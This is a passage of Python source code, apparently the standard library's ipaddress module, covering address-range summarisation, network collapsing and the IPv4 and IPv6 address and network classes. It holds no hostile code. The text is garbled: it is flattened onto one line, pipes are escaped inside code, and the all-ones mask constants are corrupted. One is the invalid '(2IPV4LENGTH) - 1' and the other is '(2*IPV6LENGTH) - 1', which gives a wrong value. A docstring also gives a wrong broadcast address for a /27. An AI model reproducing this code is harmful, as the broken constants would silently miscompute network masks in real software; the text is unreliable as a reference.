min(bits, (~number & (number-1)).bit_length()) def summarize_address_range(first, last): """Summarize a network range given the first and last IP addresses. Example: >>> list(summarize_address_range(IPv4Address('192.0.2.0'), ... IPv4Address('192.0.2.130'))) ... #doctest: +NORMALIZE_WHITESPACE [IPv4Network('192.0.2.0/25'), IPv4Network('192.0.2.128/31'), IPv4Network('192.0.2.130/32')] Args: first: the first IPv4Address or IPv6Address in the range. last: the last IPv4Address or IPv6Address in the range. Returns: An iterator of the summarized IPv(4\|6) network objects. Raise: TypeError: If the first and last objects are not IP addresses. If the first and last objects are not the same version. ValueError: If the last object is not greater than the first. If the version of the first address is not 4 or 6. """ if (not (isinstance(first, _BaseAddress) and isinstance(last, _BaseAddress))): raise TypeError('first and last must be IP addresses, not networks') if first.version != last.version: raise TypeError("%s and %s are not of the same version" % ( first, last)) if first > last: raise ValueError('last IP address must be greater than first') if first.version == 4: ip = IPv4Network elif first.version == 6: ip = IPv6Network else: raise ValueError('unknown IP version') ip_bits = first._max_prefixlen first_int = first._ip last_int = last._ip while first_int <= last_int: nbits = min(_count_righthand_zero_bits(first_int, ip_bits), (last_int - first_int + 1).bit_length() - 1) net = ip((first_int, ip_bits - nbits)) yield net first_int += 1 << nbits if first_int - 1 == ip._ALL_ONES: break def _collapse_addresses_internal(addresses): """Loops through the addresses, collapsing concurrent netblocks. Example: ip1 = IPv4Network('192.0.2.0/26') ip2 = IPv4Network('192.0.2.64/26') ip3 = IPv4Network('192.0.2.128/26') ip4 = IPv4Network('192.0.2.192/26') _collapse_addresses_internal([ip1, ip2, ip3, ip4]) -> [IPv4Network('192.0.2.0/24')] This shouldn't be called directly; it is called via collapse_addresses([]). Args: addresses: A list of IPv4Network's or IPv6Network's Returns: A list of IPv4Network's or IPv6Network's depending on what we were passed. """ # First merge to_merge = list(addresses) subnets = {} while to_merge: net = to_merge.pop() supernet = net.supernet() existing = subnets.get(supernet) if existing is None: subnets[supernet] = net elif existing != net: # Merge consecutive subnets del subnets[supernet] to_merge.append(supernet) # Then iterate over resulting networks, skipping subsumed subnets last = None for net in sorted(subnets.values()): if last is not None: # Since they are sorted, last.network_address <= net.network_address # is a given. if last.broadcast_address >= net.broadcast_address: continue yield net last = net def collapse_addresses(addresses): """Collapse a list of IP objects. Example: collapse_addresses([IPv4Network('192.0.2.0/25'), IPv4Network('192.0.2.128/25')]) -> [IPv4Network('192.0.2.0/24')] Args: addresses: An iterator of IPv4Network or IPv6Network objects. Returns: An iterator of the collapsed IPv(4\|6)Network objects. Raises: TypeError: If passed a list of mixed version objects. """ addrs = [] ips = [] nets = [] # split IP addresses and networks for ip in addresses: if isinstance(ip, _BaseAddress): if ips and ips[-1]._version != ip._version: raise TypeError("%s and %s are not of the same version" % ( ip, ips[-1])) ips.append(ip) elif ip._prefixlen == ip._max_prefixlen: if ips and ips[-1]._version != ip._version: raise TypeError("%s and %s are not of the same version" % ( ip, ips[-1])) try: ips.append(ip.ip) except AttributeError: ips.append(ip.network_address) else: if nets and nets[-1]._version != ip._version: raise TypeError("%s and %s are not of the same version" % ( ip, nets[-1])) nets.append(ip) # sort and dedup ips = sorted(set(ips)) # find consecutive address ranges in the sorted sequence and summarize them if ips: for first, last in _find_address_range(ips): addrs.extend(summarize_address_range(first, last)) return _collapse_addresses_internal(addrs + nets) def get_mixed_type_key(obj): """Return a key suitable for sorting between networks and addresses. Address and Network objects are not sortable by default; they're fundamentally different so the expression IPv4Address('192.0.2.0') <= IPv4Network('192.0.2.0/24') doesn't make any sense. There are some times however, where you may wish to have ipaddress sort these for you anyway. If you need to do this, you can use this function as the key= argument to sorted(). Args: obj: either a Network or Address object. Returns: appropriate key. """ if isinstance(obj, _BaseNetwork): return obj._get_networks_key() elif isinstance(obj, _BaseAddress): return obj._get_address_key() return NotImplemented class _IPAddressBase: """The mother class.""" __slots__ = () @property def exploded(self): """Return the longhand version of the IP address as a string.""" return self._explode_shorthand_ip_string() @property def compressed(self): """Return the shorthand version of the IP address as a string.""" return str(self) @property def reverse_pointer(self): """The name of the reverse DNS pointer for the IP address, e.g.: >>> ipaddress.ip_address("127.0.0.1").reverse_pointer '1.0.0.127.in-addr.arpa' >>> ipaddress.ip_address("2001:db8::1").reverse_pointer '1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2.ip6.arpa' """ return self._reverse_pointer() @property def version(self): msg = '%200s has no version specified' % (type(self),) raise NotImplementedError(msg) def _check_int_address(self, address): if address < 0: msg = "%d (< 0) is not permitted as an IPv%d address" raise AddressValueError(msg % (address, self._version)) if address > self._ALL_ONES: msg = "%d (>= 2*%d) is not permitted as an IPv%d address" raise AddressValueError(msg % (address, self._max_prefixlen, self._version)) def _check_packed_address(self, address, expected_len): address_len = len(address) if address_len != expected_len: msg = "%r (len %d != %d) is not permitted as an IPv%d address" raise AddressValueError(msg % (address, address_len, expected_len, self._version)) @classmethod def _ip_int_from_prefix(cls, prefixlen): """Turn the prefix length into a bitwise netmask Args: prefixlen: An integer, the prefix length. Returns: An integer. """ return cls._ALL_ONES ^ (cls._ALL_ONES >> prefixlen) @classmethod def _prefix_from_ip_int(cls, ip_int): """Return prefix length from the bitwise netmask. Args: ip_int: An integer, the netmask in expanded bitwise format Returns: An integer, the prefix length. Raises: ValueError: If the input intermingles zeroes & ones """ trailing_zeroes = _count_righthand_zero_bits(ip_int, cls._max_prefixlen) prefixlen = cls._max_prefixlen - trailing_zeroes leading_ones = ip_int >> trailing_zeroes all_ones = (1 << prefixlen) - 1 if leading_ones != all_ones: byteslen = cls._max_prefixlen // 8 details = ip_int.to_bytes(byteslen, 'big') msg = 'Netmask pattern %r mixes zeroes & ones' raise ValueError(msg % details) return prefixlen @classmethod def _report_invalid_netmask(cls, netmask_str): msg = '%r is not a valid netmask' % netmask_str raise NetmaskValueError(msg) from None @classmethod def _prefix_from_prefix_string(cls, prefixlen_str): """Return prefix length from a numeric string Args: prefixlen_str: The string to be converted Returns: An integer, the prefix length. Raises: NetmaskValueError: If the input is not a valid netmask """ # int allows a leading +/- as well as surrounding whitespace, # so we ensure that isn't the case if not _BaseV4._DECIMAL_DIGITS.issuperset(prefixlen_str): cls._report_invalid_netmask(prefixlen_str) try: prefixlen = int(prefixlen_str) except ValueError: cls._report_invalid_netmask(prefixlen_str) if not (0 <= prefixlen <= cls._max_prefixlen): cls._report_invalid_netmask(prefixlen_str) return prefixlen @classmethod def _prefix_from_ip_string(cls, ip_str): """Turn a netmask/hostmask string into a prefix length Args: ip_str: The netmask/hostmask to be converted Returns: An integer, the prefix length. Raises: NetmaskValueError: If the input is not a valid netmask/hostmask """ # Parse the netmask/hostmask like an IP address. try: ip_int = cls._ip_int_from_string(ip_str) except AddressValueError: cls._report_invalid_netmask(ip_str) # Try matching a netmask (this would be /10/ as a bitwise regexp). # Note that the two ambiguous cases (all-ones and all-zeroes) are # treated as netmasks. try: return cls._prefix_from_ip_int(ip_int) except ValueError: pass # Invert the bits, and try matching a /0+1+/ hostmask instead. ip_int ^= cls._ALL_ONES try: return cls._prefix_from_ip_int(ip_int) except ValueError: cls._report_invalid_netmask(ip_str) @classmethod def _split_addr_prefix(cls, address): """Helper function to parse address of Network/Interface. Arg: address: Argument of Network/Interface. Returns: (addr, prefix) tuple. """ # a packed address or integer if isinstance(address, (bytes, int)): return address, cls._max_prefixlen if not isinstance(address, tuple): # Assume input argument to be string or any object representation # which converts into a formatted IP prefix string. address = _split_optional_netmask(address) # Constructing from a tuple (addr, [mask]) if len(address) > 1: return address return address[0], cls._max_prefixlen def __reduce__(self): return self.__class__, (str(self),) @functools.total_ordering class _BaseAddress(_IPAddressBase): """A generic IP object. This IP class contains the version independent methods which are used by single IP addresses. """ __slots__ = () def __int__(self): return self._ip def __eq__(self, other): try: return (self._ip == other._ip and self._version == other._version) except AttributeError: return NotImplemented def __lt__(self, other): if not isinstance(other, _BaseAddress): return NotImplemented if self._version != other._version: raise TypeError('%s and %s are not of the same version' % ( self, other)) if self._ip != other._ip: return self._ip < other._ip return False # Shorthand for Integer addition and subtraction. This is not # meant to ever support addition/subtraction of addresses. def __add__(self, other): if not isinstance(other, int): return NotImplemented return self.__class__(int(self) + other) def __sub__(self, other): if not isinstance(other, int): return NotImplemented return self.__class__(int(self) - other) def __repr__(self): return '%s(%r)' % (self.__class__.__name__, str(self)) def __str__(self): return str(self._string_from_ip_int(self._ip)) def __hash__(self): return hash(hex(int(self._ip))) def _get_address_key(self): return (self._version, self) def __reduce__(self): return self.__class__, (self._ip,) @functools.total_ordering class _BaseNetwork(_IPAddressBase): """A generic IP network object. This IP class contains the version independent methods which are used by networks. """ def __init__(self, address): self._cache = {} def __repr__(self): return '%s(%r)' % (self.__class__.__name__, str(self)) def __str__(self): return '%s/%d' % (self.network_address, self.prefixlen) def hosts(self): """Generate Iterator over usable hosts in a network. This is like __iter__ except it doesn't return the network or broadcast addresses. """ network = int(self.network_address) broadcast = int(self.broadcast_address) for x in range(network + 1, broadcast): yield self._address_class(x) def __iter__(self): network = int(self.network_address) broadcast = int(self.broadcast_address) for x in range(network, broadcast + 1): yield self._address_class(x) def __getitem__(self, n): network = int(self.network_address) broadcast = int(self.broadcast_address) if n >= 0: if network + n > broadcast: raise IndexError('address out of range') return self._address_class(network + n) else: n += 1 if broadcast + n < network: raise IndexError('address out of range') return self._address_class(broadcast + n) def __lt__(self, other): if not isinstance(other, _BaseNetwork): return NotImplemented if self._version != other._version: raise TypeError('%s and %s are not of the same version' % ( self, other)) if self.network_address != other.network_address: return self.network_address < other.network_address if self.netmask != other.netmask: return self.netmask < other.netmask return False def __eq__(self, other): try: return (self._version == other._version and self.network_address == other.network_address and int(self.netmask) == int(other.netmask)) except AttributeError: return NotImplemented def __hash__(self): return hash(int(self.network_address) ^ int(self.netmask)) def __contains__(self, other): # always false if one is v4 and the other is v6. if self._version != other._version: return False # dealing with another network. if isinstance(other, _BaseNetwork): return False # dealing with another address else: # address return (int(self.network_address) <= int(other._ip) <= int(self.broadcast_address)) def overlaps(self, other): """Tell if self is partly contained in other.""" return self.network_address in other or ( self.broadcast_address in other or ( other.network_address in self or ( other.broadcast_address in self))) @property def broadcast_address(self): x = self._cache.get('broadcast_address') if x is None: x = self._address_class(int(self.network_address) \| int(self.hostmask)) self._cache['broadcast_address'] = x return x @property def hostmask(self): x = self._cache.get('hostmask') if x is None: x = self._address_class(int(self.netmask) ^ self._ALL_ONES) self._cache['hostmask'] = x return x @property def with_prefixlen(self): return '%s/%d' % (self.network_address, self._prefixlen) @property def with_netmask(self): return '%s/%s' % (self.network_address, self.netmask) @property def with_hostmask(self): return '%s/%s' % (self.network_address, self.hostmask) @property def num_addresses(self): """Number of hosts in the current subnet.""" return int(self.broadcast_address) - int(self.network_address) + 1 @property def _address_class(self): # Returning bare address objects (rather than interfaces) allows for # more consistent behaviour across the network address, broadcast # address and individual host addresses. msg = '%200s has no associated address class' % (type(self),) raise NotImplementedError(msg) @property def prefixlen(self): return self._prefixlen def address_exclude(self, other): """Remove an address from a larger block. For example: addr1 = ip_network('192.0.2.0/28') addr2 = ip_network('192.0.2.1/32') list(addr1.address_exclude(addr2)) = [IPv4Network('192.0.2.0/32'), IPv4Network('192.0.2.2/31'), IPv4Network('192.0.2.4/30'), IPv4Network('192.0.2.8/29')] or IPv6: addr1 = ip_network('2001:db8::1/32') addr2 = ip_network('2001:db8::1/128') list(addr1.address_exclude(addr2)) = [ip_network('2001:db8::1/128'), ip_network('2001:db8::2/127'), ip_network('2001:db8::4/126'), ip_network('2001:db8::8/125'), ... ip_network('2001:db8:8000::/33')] Args: other: An IPv4Network or IPv6Network object of the same type. Returns: An iterator of the IPv(4\|6)Network objects which is self minus other. Raises: TypeError: If self and other are of differing address versions, or if other is not a network object. ValueError: If other is not completely contained by self. """ if not self._version == other._version: raise TypeError("%s and %s are not of the same version" % ( self, other)) if not isinstance(other, _BaseNetwork): raise TypeError("%s is not a network object" % other) if not other.subnet_of(self): raise ValueError('%s not contained in %s' % (other, self)) if other == self: return # Make sure we're comparing the network of other. other = other.__class__('%s/%s' % (other.network_address, other.prefixlen)) s1, s2 = self.subnets() while s1 != other and s2 != other: if other.subnet_of(s1): yield s2 s1, s2 = s1.subnets() elif other.subnet_of(s2): yield s1 s1, s2 = s2.subnets() else: # If we got here, there's a bug somewhere. raise AssertionError('Error performing exclusion: ' 's1: %s s2: %s other: %s' % (s1, s2, other)) if s1 == other: yield s2 elif s2 == other: yield s1 else: # If we got here, there's a bug somewhere. raise AssertionError('Error performing exclusion: ' 's1: %s s2: %s other: %s' % (s1, s2, other)) def compare_networks(self, other): """Compare two IP objects. This is only concerned about the comparison of the integer representation of the network addresses. This means that the host bits aren't considered at all in this method. If you want to compare host bits, you can easily enough do a 'HostA._ip < HostB._ip' Args: other: An IP object. Returns: If the IP versions of self and other are the same, returns: -1 if self < other: eg: IPv4Network('192.0.2.0/25') < IPv4Network('192.0.2.128/25') IPv6Network('2001:db8::1000/124') < IPv6Network('2001:db8::2000/124') 0 if self == other eg: IPv4Network('192.0.2.0/24') == IPv4Network('192.0.2.0/24') IPv6Network('2001:db8::1000/124') == IPv6Network('2001:db8::1000/124') 1 if self > other eg: IPv4Network('192.0.2.128/25') > IPv4Network('192.0.2.0/25') IPv6Network('2001:db8::2000/124') > IPv6Network('2001:db8::1000/124') Raises: TypeError if the IP versions are different. """ # does this need to raise a ValueError? if self._version != other._version: raise TypeError('%s and %s are not of the same type' % ( self, other)) # self._version == other._version below here: if self.network_address < other.network_address: return -1 if self.network_address > other.network_address: return 1 # self.network_address == other.network_address below here: if self.netmask < other.netmask: return -1 if self.netmask > other.netmask: return 1 return 0 def _get_networks_key(self): """Network-only key function. Returns an object that identifies this address' network and netmask. This function is a suitable "key" argument for sorted() and list.sort(). """ return (self._version, self.network_address, self.netmask) def subnets(self, prefixlen_diff=1, new_prefix=None): """The subnets which join to make the current subnet. In the case that self contains only one IP (self._prefixlen == 32 for IPv4 or self._prefixlen == 128 for IPv6), yield an iterator with just ourself. Args: prefixlen_diff: An integer, the amount the prefix length should be increased by. This should not be set if new_prefix is also set. new_prefix: The desired new prefix length. This must be a larger number (smaller prefix) than the existing prefix. This should not be set if prefixlen_diff is also set. Returns: An iterator of IPv(4\|6) objects. Raises: ValueError: The prefixlen_diff is too small or too large. OR prefixlen_diff and new_prefix are both set or new_prefix is a smaller number than the current prefix (smaller number means a larger network) """ if self._prefixlen == self._max_prefixlen: yield self return if new_prefix is not None: if new_prefix < self._prefixlen: raise ValueError('new prefix must be longer') if prefixlen_diff != 1: raise ValueError('cannot set prefixlen_diff and new_prefix') prefixlen_diff = new_prefix - self._prefixlen if prefixlen_diff < 0: raise ValueError('prefix length diff must be > 0') new_prefixlen = self._prefixlen + prefixlen_diff if new_prefixlen > self._max_prefixlen: raise ValueError( 'prefix length diff %d is invalid for netblock %s' % ( new_prefixlen, self)) start = int(self.network_address) end = int(self.broadcast_address) + 1 step = (int(self.hostmask) + 1) >> prefixlen_diff for new_addr in range(start, end, step): current = self.__class__((new_addr, new_prefixlen)) yield current def supernet(self, prefixlen_diff=1, new_prefix=None): """The supernet containing the current network. Args: prefixlen_diff: An integer, the amount the prefix length of the network should be decreased by. For example, given a /24 network and a prefixlen_diff of 3, a supernet with a /21 netmask is returned. Returns: An IPv4 network object. Raises: ValueError: If self.prefixlen - prefixlen_diff < 0. I.e., you have a negative prefix length. OR If prefixlen_diff and new_prefix are both set or new_prefix is a larger number than the current prefix (larger number means a smaller network) """ if self._prefixlen == 0: return self if new_prefix is not None: if new_prefix > self._prefixlen: raise ValueError('new prefix must be shorter') if prefixlen_diff != 1: raise ValueError('cannot set prefixlen_diff and new_prefix') prefixlen_diff = self._prefixlen - new_prefix new_prefixlen = self.prefixlen - prefixlen_diff if new_prefixlen < 0: raise ValueError( 'current prefixlen is %d, cannot have a prefixlen_diff of %d' % (self.prefixlen, prefixlen_diff)) return self.__class__(( int(self.network_address) & (int(self.netmask) << prefixlen_diff), new_prefixlen )) @property def is_multicast(self): """Test if the address is reserved for multicast use. Returns: A boolean, True if the address is a multicast address. See RFC 2373 2.7 for details. """ return (self.network_address.is_multicast and self.broadcast_address.is_multicast) @staticmethod def _is_subnet_of(a, b): try: # Always false if one is v4 and the other is v6. if a._version != b._version: raise TypeError(f"{a} and {b} are not of the same version") return (b.network_address <= a.network_address and b.broadcast_address >= a.broadcast_address) except AttributeError: raise TypeError(f"Unable to test subnet containment " f"between {a} and {b}") def subnet_of(self, other): """Return True if this network is a subnet of other.""" return self._is_subnet_of(self, other) def supernet_of(self, other): """Return True if this network is a supernet of other.""" return self._is_subnet_of(other, self) @property def is_reserved(self): """Test if the address is otherwise IETF reserved. Returns: A boolean, True if the address is within one of the reserved IPv6 Network ranges. """ return (self.network_address.is_reserved and self.broadcast_address.is_reserved) @property def is_link_local(self): """Test if the address is reserved for link-local. Returns: A boolean, True if the address is reserved per RFC 4291. """ return (self.network_address.is_link_local and self.broadcast_address.is_link_local) @property def is_private(self): """Test if this address is allocated for private networks. Returns: A boolean, True if the address is reserved per iana-ipv4-special-registry or iana-ipv6-special-registry. """ return (self.network_address.is_private and self.broadcast_address.is_private) @property def is_global(self): """Test if this address is allocated for public networks. Returns: A boolean, True if the address is not reserved per iana-ipv4-special-registry or iana-ipv6-special-registry. """ return not self.is_private @property def is_unspecified(self): """Test if the address is unspecified. Returns: A boolean, True if this is the unspecified address as defined in RFC 2373 2.5.2. """ return (self.network_address.is_unspecified and self.broadcast_address.is_unspecified) @property def is_loopback(self): """Test if the address is a loopback address. Returns: A boolean, True if the address is a loopback address as defined in RFC 2373 2.5.3. """ return (self.network_address.is_loopback and self.broadcast_address.is_loopback) class _BaseV4: """Base IPv4 object. The following methods are used by IPv4 objects in both single IP addresses and networks. """ __slots__ = () _version = 4 # Equivalent to 255.255.255.255 or 32 bits of 1's. _ALL_ONES = (2IPV4LENGTH) - 1 _DECIMAL_DIGITS = frozenset('0123456789') # the valid octets for host and netmasks. only useful for IPv4. _valid_mask_octets = frozenset({255, 254, 252, 248, 240, 224, 192, 128, 0}) _max_prefixlen = IPV4LENGTH # There are only a handful of valid v4 netmasks, so we cache them all # when constructed (see _make_netmask()). _netmask_cache = {} def _explode_shorthand_ip_string(self): return str(self) @classmethod def _make_netmask(cls, arg): """Make a (netmask, prefix_len) tuple from the given argument. Argument can be: - an integer (the prefix length) - a string representing the prefix length (e.g. "24") - a string representing the prefix netmask (e.g. "255.255.255.0") """ if arg not in cls._netmask_cache: if isinstance(arg, int): prefixlen = arg if not (0 <= prefixlen <= cls._max_prefixlen): cls._report_invalid_netmask(prefixlen) else: try: # Check for a netmask in prefix length form prefixlen = cls._prefix_from_prefix_string(arg) except NetmaskValueError: # Check for a netmask or hostmask in dotted-quad form. # This may raise NetmaskValueError. prefixlen = cls._prefix_from_ip_string(arg) netmask = IPv4Address(cls._ip_int_from_prefix(prefixlen)) cls._netmask_cache[arg] = netmask, prefixlen return cls._netmask_cache[arg] @classmethod def _ip_int_from_string(cls, ip_str): """Turn the given IP string into an integer for comparison. Args: ip_str: A string, the IP ip_str. Returns: The IP ip_str as an integer. Raises: AddressValueError: if ip_str isn't a valid IPv4 Address. """ if not ip_str: raise AddressValueError('Address cannot be empty') octets = ip_str.split('.') if len(octets) != 4: raise AddressValueError("Expected 4 octets in %r" % ip_str) try: return int.from_bytes(map(cls._parse_octet, octets), 'big') except ValueError as exc: raise AddressValueError("%s in %r" % (exc, ip_str)) from None @classmethod def _parse_octet(cls, octet_str): """Convert a decimal octet into an integer. Args: octet_str: A string, the number to parse. Returns: The octet as an integer. Raises: ValueError: if the octet isn't strictly a decimal from [0..255]. """ if not octet_str: raise ValueError("Empty octet not permitted") # Whitelist the characters, since int() allows a lot of bizarre stuff. if not cls._DECIMAL_DIGITS.issuperset(octet_str): msg = "Only decimal digits permitted in %r" raise ValueError(msg % octet_str) # We do the length check second, since the invalid character error # is likely to be more informative for the user if len(octet_str) > 3: msg = "At most 3 characters permitted in %r" raise ValueError(msg % octet_str) # Convert to integer (we know digits are legal) octet_int = int(octet_str, 10) # Any octets that look like they might* be written in octal, # and which don't look exactly the same in both octal and # decimal are rejected as ambiguous if octet_int > 7 and octet_str[0] == '0': msg = "Ambiguous (octal/decimal) value in %r not permitted" raise ValueError(msg % octet_str) if octet_int > 255: raise ValueError("Octet %d (> 255) not permitted" % octet_int) return octet_int @classmethod def _string_from_ip_int(cls, ip_int): """Turns a 32-bit integer into dotted decimal notation. Args: ip_int: An integer, the IP address. Returns: The IP address as a string in dotted decimal notation. """ return '.'.join(map(str, ip_int.to_bytes(4, 'big'))) def _is_valid_netmask(self, netmask): """Verify that the netmask is valid. Args: netmask: A string, either a prefix or dotted decimal netmask. Returns: A boolean, True if the prefix represents a valid IPv4 netmask. """ mask = netmask.split('.') if len(mask) == 4: try: for x in mask: if int(x) not in self._valid_mask_octets: return False except ValueError: # Found something that isn't an integer or isn't valid return False for idx, y in enumerate(mask): if idx > 0 and y > mask[idx - 1]: return False return True try: netmask = int(netmask) except ValueError: return False return 0 <= netmask <= self._max_prefixlen def _is_hostmask(self, ip_str): """Test if the IP string is a hostmask (rather than a netmask). Args: ip_str: A string, the potential hostmask. Returns: A boolean, True if the IP string is a hostmask. """ bits = ip_str.split('.') try: parts = [x for x in map(int, bits) if x in self._valid_mask_octets] except ValueError: return False if len(parts) != len(bits): return False if parts[0] < parts[-1]: return True return False def _reverse_pointer(self): """Return the reverse DNS pointer name for the IPv4 address. This implements the method described in RFC1035 3.5. """ reverse_octets = str(self).split('.')[::-1] return '.'.join(reverse_octets) + '.in-addr.arpa' @property def max_prefixlen(self): return self._max_prefixlen @property def version(self): return self._version class IPv4Address(_BaseV4, _BaseAddress): """Represent and manipulate single IPv4 Addresses.""" __slots__ = ('_ip', '__weakref__') def __init__(self, address): """ Args: address: A string or integer representing the IP Additionally, an integer can be passed, so IPv4Address('192.0.2.1') == IPv4Address(3221225985). or, more generally IPv4Address(int(IPv4Address('192.0.2.1'))) == IPv4Address('192.0.2.1') Raises: AddressValueError: If ipaddress isn't a valid IPv4 address. """ # Efficient constructor from integer. if isinstance(address, int): self._check_int_address(address) self._ip = address return # Constructing from a packed address if isinstance(address, bytes): self._check_packed_address(address, 4) self._ip = int.from_bytes(address, 'big') return # Assume input argument to be string or any object representation # which converts into a formatted IP string. addr_str = str(address) if '/' in addr_str: raise AddressValueError("Unexpected '/' in %r" % address) self._ip = self._ip_int_from_string(addr_str) @property def packed(self): """The binary representation of this address.""" return v4_int_to_packed(self._ip) @property def is_reserved(self): """Test if the address is otherwise IETF reserved. Returns: A boolean, True if the address is within the reserved IPv4 Network range. """ return self in self._constants._reserved_network @property @functools.lru_cache() def is_private(self): """Test if this address is allocated for private networks. Returns: A boolean, True if the address is reserved per iana-ipv4-special-registry. """ return any(self in net for net in self._constants._private_networks) @property @functools.lru_cache() def is_global(self): return self not in self._constants._public_network and not self.is_private @property def is_multicast(self): """Test if the address is reserved for multicast use. Returns: A boolean, True if the address is multicast. See RFC 3171 for details. """ return self in self._constants._multicast_network @property def is_unspecified(self): """Test if the address is unspecified. Returns: A boolean, True if this is the unspecified address as defined in RFC 5735 3. """ return self == self._constants._unspecified_address @property def is_loopback(self): """Test if the address is a loopback address. Returns: A boolean, True if the address is a loopback per RFC 3330. """ return self in self._constants._loopback_network @property def is_link_local(self): """Test if the address is reserved for link-local. Returns: A boolean, True if the address is link-local per RFC 3927. """ return self in self._constants._linklocal_network class IPv4Interface(IPv4Address): def __init__(self, address): addr, mask = self._split_addr_prefix(address) IPv4Address.__init__(self, addr) self.network = IPv4Network((addr, mask), strict=False) self.netmask = self.network.netmask self.hostmask = self.network.hostmask self._prefixlen = self.network._prefixlen def __str__(self): return '%s/%d' % (self._string_from_ip_int(self._ip), self.network.prefixlen) def __eq__(self, other): address_equal = IPv4Address.__eq__(self, other) if not address_equal or address_equal is NotImplemented: return address_equal try: return self.network == other.network except AttributeError: # An interface with an associated network is NOT the # same as an unassociated address. That's why the hash # takes the extra info into account. return False def __lt__(self, other): address_less = IPv4Address.__lt__(self, other) if address_less is NotImplemented: return NotImplemented try: return (self.network < other.network or self.network == other.network and address_less) except AttributeError: # We do allow addresses and interfaces to be sorted. The # unassociated address is considered less than all interfaces. return False def __hash__(self): return hash((self._ip, self._prefixlen, int(self.network.network_address))) __reduce__ = _IPAddressBase.__reduce__ @property def ip(self): return IPv4Address(self._ip) @property def with_prefixlen(self): return '%s/%s' % (self._string_from_ip_int(self._ip), self._prefixlen) @property def with_netmask(self): return '%s/%s' % (self._string_from_ip_int(self._ip), self.netmask) @property def with_hostmask(self): return '%s/%s' % (self._string_from_ip_int(self._ip), self.hostmask) class IPv4Network(_BaseV4, _BaseNetwork): """This class represents and manipulates 32-bit IPv4 network + addresses.. Attributes: [examples for IPv4Network('192.0.2.0/27')] .network_address: IPv4Address('192.0.2.0') .hostmask: IPv4Address('0.0.0.31') .broadcast_address: IPv4Address('192.0.2.32') .netmask: IPv4Address('255.255.255.224') .prefixlen: 27 """ # Class to use when creating address objects _address_class = IPv4Address def __init__(self, address, strict=True): """Instantiate a new IPv4 network object. Args: address: A string or integer representing the IP [& network]. '192.0.2.0/24' '192.0.2.0/255.255.255.0' '192.0.0.2/0.0.0.255' are all functionally the same in IPv4. Similarly, '192.0.2.1' '192.0.2.1/255.255.255.255' '192.0.2.1/32' are also functionally equivalent. That is to say, failing to provide a subnetmask will create an object with a mask of /32. If the mask (portion after the / in the argument) is given in dotted quad form, it is treated as a netmask if it starts with a non-zero field (e.g. /255.0.0.0 == /8) and as a hostmask if it starts with a zero field (e.g. 0.255.255.255 == /8), with the single exception of an all-zero mask which is treated as a netmask == /0. If no mask is given, a default of /32 is used. Additionally, an integer can be passed, so IPv4Network('192.0.2.1') == IPv4Network(3221225985) or, more generally IPv4Interface(int(IPv4Interface('192.0.2.1'))) == IPv4Interface('192.0.2.1') Raises: AddressValueError: If ipaddress isn't a valid IPv4 address. NetmaskValueError: If the netmask isn't valid for an IPv4 address. ValueError: If strict is True and a network address is not supplied. """ _BaseNetwork.__init__(self, address) addr, mask = self._split_addr_prefix(address) self.network_address = IPv4Address(addr) self.netmask, self._prefixlen = self._make_netmask(mask) packed = int(self.network_address) if packed & int(self.netmask) != packed: if strict: raise ValueError('%s has host bits set' % self) else: self.network_address = IPv4Address(packed & int(self.netmask)) if self._prefixlen == (self._max_prefixlen - 1): self.hosts = self.__iter__ @property @functools.lru_cache() def is_global(self): """Test if this address is allocated for public networks. Returns: A boolean, True if the address is not reserved per iana-ipv4-special-registry. """ return (not (self.network_address in IPv4Network('100.64.0.0/10') and self.broadcast_address in IPv4Network('100.64.0.0/10')) and not self.is_private) class _IPv4Constants: _linklocal_network = IPv4Network('169.254.0.0/16') _loopback_network = IPv4Network('127.0.0.0/8') _multicast_network = IPv4Network('224.0.0.0/4') _public_network = IPv4Network('100.64.0.0/10') _private_networks = [ IPv4Network('0.0.0.0/8'), IPv4Network('10.0.0.0/8'), IPv4Network('127.0.0.0/8'), IPv4Network('169.254.0.0/16'), IPv4Network('172.16.0.0/12'), IPv4Network('192.0.0.0/29'), IPv4Network('192.0.0.170/31'), IPv4Network('192.0.2.0/24'), IPv4Network('192.168.0.0/16'), IPv4Network('198.18.0.0/15'), IPv4Network('198.51.100.0/24'), IPv4Network('203.0.113.0/24'), IPv4Network('240.0.0.0/4'), IPv4Network('255.255.255.255/32'), ] _reserved_network = IPv4Network('240.0.0.0/4') _unspecified_address = IPv4Address('0.0.0.0') IPv4Address._constants = _IPv4Constants class _BaseV6: """Base IPv6 object. The following methods are used by IPv6 objects in both single IP addresses and networks. """ __slots__ = () _version = 6 _ALL_ONES = (2*IPV6LENGTH) - 1 _HEXTET_COUNT = 8 _HEX_DIGITS = frozenset('0123456789ABCDEFabcdef') _max_prefixlen = IPV6LENGTH # There are only a bunch of valid v6 netmasks, so we cache them all # when constructed (see _make_netmask()). _netmask_cache = {} @classmethod def _make_netmask(cls, arg): """Make a (netmask, prefix_len) tuple from the given argument. Argument can be: - an integer (the prefix length) - a string representing the prefix length (e.g. "24") - a string representing the prefix netmask (e.g. "255.255.255.0") """ if arg not in cls._netmask_cache: if isinstance(arg, int): prefixlen = arg if not (0 <= prefixlen <= cls._max_prefixlen): cls._report_invalid_netmask(prefixlen) else: prefixlen = cls._prefix_from_prefix_string(arg) netmask = IPv6Address(cls._ip_int_from_prefix(prefixlen)) cls._netmask_cache[arg] = netmask, prefixlen return cls._netmask_cache[arg] @classmethod def _ip_int_from_string(cls, ip_str): """Turn an IPv6 ip_str into an integer. Args: ip_str: A string, the IPv6 ip_str. Returns: An int, the IPv6 address Raises: AddressValueError: if ip_str isn't a valid IPv6 Address. """ if not ip_str: raise AddressValueError('Address cannot be empty') parts = ip_str.split(':') # An IPv6 address needs at least 2 colons (3 parts). _min_parts = 3 if len(parts) < _min_parts: msg = "At least %d parts expected in %r" % (_min_parts, ip_str) raise AddressValueError(msg) # If the address has an IPv4-style suffix, convert it to hexadecimal. if '.' in parts[-1]: try: ipv4_int = IPv4Address(parts.pop())._ip except AddressValueError as exc: raise AddressValueError("%s in %r" % (exc, ip_str)) from None parts.append('%x' % ((ipv4_int >> 16) & 0xFFFF)) parts.append('%x' % (ipv4_int & 0xFFFF)) # An IPv6 address can't have more than 8 colons (9 parts). # The extra colon comes from using the "::" notation for a single # leading or trailing zero part. _max_parts = cls._HEXTET_COUNT + 1 if len(parts) > _max_parts: msg = "At most %d colons permitted in %r" % (_max_parts-1, ip_str) raise AddressValueError(msg) # Disregarding the endpoints, find '::' with nothing in between. # This indicates that a run of zeroes has been skipped. skip_index = None for i in range(1, len(parts) - 